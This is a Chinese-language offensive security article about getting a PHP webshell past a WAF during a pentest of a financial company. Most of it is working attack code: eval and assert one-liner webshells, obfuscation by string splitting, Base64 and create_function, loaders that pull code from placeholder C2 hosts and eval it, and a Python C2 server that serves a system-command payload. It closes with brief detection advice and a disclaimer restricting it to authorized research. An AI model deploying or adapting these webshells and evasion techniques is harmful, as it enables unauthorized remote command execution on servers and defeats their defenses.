一、从一次渗透行动说起

那是一个典型的渗透测试任务,目标是一家金融公司,外网暴露了多个 Web 应用和接口。经过信息收集和漏洞扫描后,我找到了一个存在文件上传漏洞的站点,能够上传 .php 类型文件。顺理成章地,我尝试上传一枚常规的 PHP Webshell,结果上传成功,但访问时发现被 WAF 拦截了。

从返回的 HTTP 响应中可以看出,目标的 WAF 使用了基于特征匹配的规则,对 Webshell 的语法和敏感关键词进行了严格检测。如果直接使用网上公开的 Webshell 工具,99% 的情况下都会触发这些规则。为了成功上线,我需要对 Webshell 进行深度免杀处理,绕过 WAF 和目标服务器上的杀软检测。

接下来,我会详细展示我是如何通过免杀技术,让这枚 Webshell 成功上线,并实现持久化控制的全过程。

---

二、理解 WAF 的拦截逻辑

在 Webshell 免杀之前,最重要的一步是分析目标的防御策略。这里的防守者主要是 WAF 和杀软,成因各不相同,但核心在于对流量和文件内容的「特征」检测。WAF 的拦截逻辑通常分为以下几个层面:

  1. Payload 特征检测
  • WAF 会基于规则库对 HTTP 请求进行字符串匹配,敏感关键词如 evalbase64_decodesystem 等是重点关注对象。
  • 针对常见的攻击模式,比如一句话 Webshell (<?php eval($_POST['cmd']); ?>),WAF 会直接拦截。
  1. 正则表达式匹配
  • 部分 WAF 引入了复杂的正则特征匹配,对文件内容中的恶意代码片段进行多层解析。
  • 比如:检测是否含有类似 ($_POST['cmd'])assert 或动态函数调用的语法。
  1. 流量行为分析
  • 一些高级 WAF 会分析请求的整体流量模式,比如频繁的 POST 数据,或者特定文件访问。
  1. URL 和文件路径检测
  • 如果上传的文件名称或路径中含有敏感字符,比如 shell.phpbackdoor.php,也可能触发拦截。

在这次行动中,我通过尝试上传几种不同风格的 Webshell,结合返回的 HTTP 错误响应,发现目标 WAF 是典型的基于正则特征和关键词匹配的规则型防护系统。针对这种防护机制,免杀的重点在于绕过特征匹配,伪装为普通的业务流量,同时尽量规避关键词。

---

三、深度免杀:从基础到进阶

3.1 简单混淆技术

基础混淆是绕过检测的第一步,可以通过修改关键函数和结构,让代码不容易触发特征匹配。例如:

原始 Webshell:

<pre><code class="language-php">&lt;?php eval($_POST[&#039;cmd&#039;]); ?&gt;</code></pre>

这种“干脆利落一句话”的 Webshell 是大多数 WAF 的眼中钉。稍加修改,避开关键词 eval

混淆版 Webshell:

<pre><code class="language-php">&lt;?php $x = &quot;assert&quot;; $x($_POST[&#039;cmd&#039;]); ?&gt;</code></pre>

通过将 eval 替换为功能类似的 assert,并使用变量动态调用,成功躲过了静态特征检测。

---

3.2 字符串分割与编码

进一步强化混淆,可以对关键词进行分割或者编码,让 WAF 更难识别。例如,将 assert 拆分为多段再拼接:

<pre><code class="language-php">&lt;?php $x = &quot;as&quot;.&quot;sert&quot;; $x($_POST[&#039;cmd&#039;]); ?&gt;</code></pre>

或者直接对核心代码做 Base64 编码,运行时再解码执行:

<pre><code class="language-php">&lt;?php $payload = base64_decode(&quot;YXNzZXJ0KCRfUE9TVFsnY21kJ10pOw==&quot;); eval($payload); ?&gt;</code></pre>

上述代码中,YXNzZXJ0KCRfUE9TVFsnY21kJ10pOw==assert($_POST['cmd']); 的 Base64 编码。运行时 WAF 只能看到一串无意义的字符串,大大降低了检测率。

---

3.3 动态生成代码

为了进一步提高免杀效果,可以通过动态生成和加载代码,在运行时动态解码和执行。比如使用 create_function

<pre><code class="language-php">&lt;?php $x = create_function(&#039;&#039;, &#039;extract($_POST); eval($cmd);&#039;); $x(); ?&gt;</code></pre>

动态函数生成的代码内容是内存级别的,WAF 无法直接静态分析到敏感代码。

---

3.4 内存加载技术

高级攻击者通常会避免将完整的 Payload 写入磁盘,可以通过内存加载技术,在运行时从远程服务器获取 Webshell 代码并执行。

以下是一段利用 file_get_contents 从 C2 加载代码的示例:

<pre><code class="language-php">&lt;?php $url = &quot;http://your-c2-server.com/shell.txt&quot;; $code = file_get_contents($url); eval($code); ?&gt;</code></pre>

黑客示意图

在目标服务器上,这段代码表面上看起来没有任何恶意行为,但通过 file_get_contents 加载的内容可以动态调整,难以静态分析。

---

四、构造「无文件 Webshell」

所谓「无文件 Webshell」,是指无需将恶意代码写入磁盘,而是完全通过流量和内存完成操作。这种技术的核心在于结合 Webshell 和 C2 工具,实现更隐蔽的控制。

以下是一个使用 Python 构建的简单 C2 服务端示例,通过 HTTP 返回 Webshell 代码:

<pre><code class="language-python">from http.server import BaseHTTPRequestHandler, HTTPServer import base64

class MyHandler(BaseHTTPRequestHandler): def do_GET(self):

返回动态生成的 Webshell 代码

payload = &quot;&lt;?php eval(base64_decode(&#039;{}&#039;)); ?&gt;&quot;.format( base64.b64encode(b&quot;system($_POST[&#039;cmd&#039;]);&quot;).decode() ) self.send_response(200) self.send_header(&quot;Content-type&quot;, &quot;text/plain&quot;) self.end_headers() self.wfile.write(payload.encode())

if __name__ == &quot;__main__&quot;: server = HTTPServer((&#039;0.0.0.0&#039;, 8080), MyHandler) print(&quot;C2 server running on port 8080...&quot;) server.serve_forever()</code></pre>

黑客示意图

此时目标服务器上的 Webshell 只需一段简单的代码:

<pre><code class="language-php">&lt;?php $url = &quot;http://attacker-c2-server:8080/&quot;; eval(file_get_contents($url)); ?&gt;</code></pre>

动态加载远程代码的方式极具隐蔽性,同时方便更新和扩展。

---

五、如何对抗这些免杀技术

虽然本文重点在攻击方向,但作为研究人员,也需要了解如何检测和防御这些技术。针对上述免杀手法,可以采取以下措施:

  1. 行为分析:通过监控 Web 应用的行为,发现异常访问模式,比如频繁的 POST 请求或远程代码执行。
  2. 内容监控:对上传的文件进行深度扫描,尤其是动态调用、Base64 解码等可疑操作。
  3. 内存取证:结合 EDR 工具,分析运行时的内存内容,识别恶意代码。

---

黑客示意图

六、行动后的反思

在这次行动中,通过深入理解 WAF 的检测机制,我成功绕过了目标的防护策略,将 Webshell 上传并上线。整个过程中,免杀技术的使用是核心环节。以下是几点经验分享:

  1. 不要迷信公开 Webshell:大多数 WAF 已经对公开的 Webshell 特征进行了全面封禁,必须根据目标环境定制化免杀。
  2. 动态加载是未来趋势:无文件化和动态加载技术是现代 Webshell 发展的方向。
  3. 保持目标环境的适配性:在开发免杀代码时,确保与目标的 PHP 版本和服务器环境完全兼容,否则即使绕过 WAF,也可能因功能失效而暴露。

最后再次强调,本文仅供授权的安全研究和学习使用,请勿将技术用于非法目的。